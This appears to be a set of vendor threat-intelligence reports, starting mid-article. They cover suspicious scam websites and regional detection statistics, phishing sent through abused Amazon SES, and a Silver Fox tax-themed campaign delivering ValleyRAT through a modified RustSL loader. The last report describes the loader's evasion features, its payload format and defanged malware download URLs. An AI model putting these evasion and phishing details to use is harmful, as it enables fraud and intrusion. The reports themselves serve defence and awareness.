Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.
Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.
Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.
On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.
How to identify suspicious or fraudulent websites
Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.
Visual and manual clues
You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.
Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.
Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.
Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.
Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.
Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.
However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.
Technical indicators to check
Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.
One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.
Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.
Meanwhile, a reported suspicious online store was created a couple of months ago.
Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.
In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.
Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.
We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).
Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.
Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:
Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.
These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.
You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.
You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.
Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.
You can check the configurations of DNS records either programmatically or by using an online service.
Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.
How to protect yourself
Tools and databases for detecting suspicious websites
We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:
domain name and age,
IP reputation,
stability of the infrastructure used,
DNS configurations,
HTTP security headers,
digital identity and popularity of the web resource.
When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:
This component is on by default.
Moreover, there are several online tools and databases that can help assess a website’s legitimacy:
ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
National government databases often maintain official lists of fraudulent or blacklisted domains.
Preventive measures
To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.
You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.
In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.
Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.
If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.
By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.
An overview of detection statistics for sites with an undefined trust level
To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.
Most visited suspicious sites
First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.
In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.
Percentage of the *a*o*.com domain detections by region, January 2026 (download)
This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.
The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.
Percentage of the *n*s*.com domain detections by region, January 2026 (download)
This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.
Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.
Percentage of the *w*a*.com domain detections by region, January 2026 (download)
This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).
The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).
In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).
The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).
The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).
Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).
Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.
Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.
Africa
Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)
The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.
In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.
MENA
Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)
In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.
Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.
The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.
In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.
Latin America
Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)
In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.
Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.
In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.
East Asia
Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)
In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.
In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.
Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.
East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.
South Asia
Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)
In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.
The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.
The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.
In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.
CIS
When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.
Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)
The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.
Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:
*a*e*.online (8.42%): an online image editor that carries risks of data harvesting
*n*a*.io (6.51%): a high-risk cryptocurrency trading platform
*e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
*s*o*.ltd (3.70%): a domain with an extremely low trust rating
*s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game
The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.
The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.
Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)
The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.
Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.
Europe
Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)
In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.
Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.
A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.
Canada
Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)
Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.
The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.
Oceania
Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)
The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.
Conclusion
Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.
By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.
To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.
The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.
The dangers of Amazon SES abuse
Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.
At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.
Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.
How compromise happens
In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.
Examples of phishing with Amazon SES
In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.
Phishing email imitating a Docusign notification
The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.
Phishing email headers
In these emails, the victim is typically asked to click a link to review and sign a specific document.
Phishing email with a “document”
Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.
Phishing sign-in form
The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.
Amazon SES and BEC
However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.
BEC email featuring a fake conversation between an employee and a vendor
The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.
Forged financial documents
Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.
Takeaways
Phishing via Amazon SES is shifting from isolated incidents into a steady trend. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.
Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:
Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
Enable multi-factor authentication, an ever-relevant step.
Configure IP-based access restrictions.
Set up automated key rotation and run regular security audits.
Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.
We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.
In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.
Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.
During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.
Email campaign
In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.
Phishing email sent to victims in Russia
The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.
Contents of the PDF file from the January phishing wave
Contents of the фнс.zip archive
In the December campaign, the malicious code was embedded directly within the files attached to the email.
Phishing email sent to victims in India
The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).
Contents of ITD.-.rar
Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).
PDF file from the phishing email
Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.
RustSL loader
The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:
Screenshot of the description from the RustSL loader GitHub project
The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:
Eight payload encryption methods
Thirteen memory allocation methods
Twelve sandbox and virtual machine detection techniques
Thirteen payload execution methods
Five payload encoding methods
Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.
The Silver Fox APT group first began using a modified version of RustSL in late December 2025.
Silver Fox RustSL
This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.
The steganography.rs module
The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.
The usage of the new module within the Silver Fox RustSL code
The threat actors also modified the RustSL builder to support the new format and payload packing.
The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.
Encrypted malicious payload format
The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:
<RSL_START>rsl_encrypted_payload<RSL_END>
If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.
The rsl_encrypted_payload followed this specific format:
Below is a description of the data blocks contained within it:
sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
enc_payload_len: the size of the encrypted payload
sgn_iterations and sgn_key: parameters used for decryption
sgn_decoder_size and decoder: unused fields
enc_payload: the primary payload
Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.
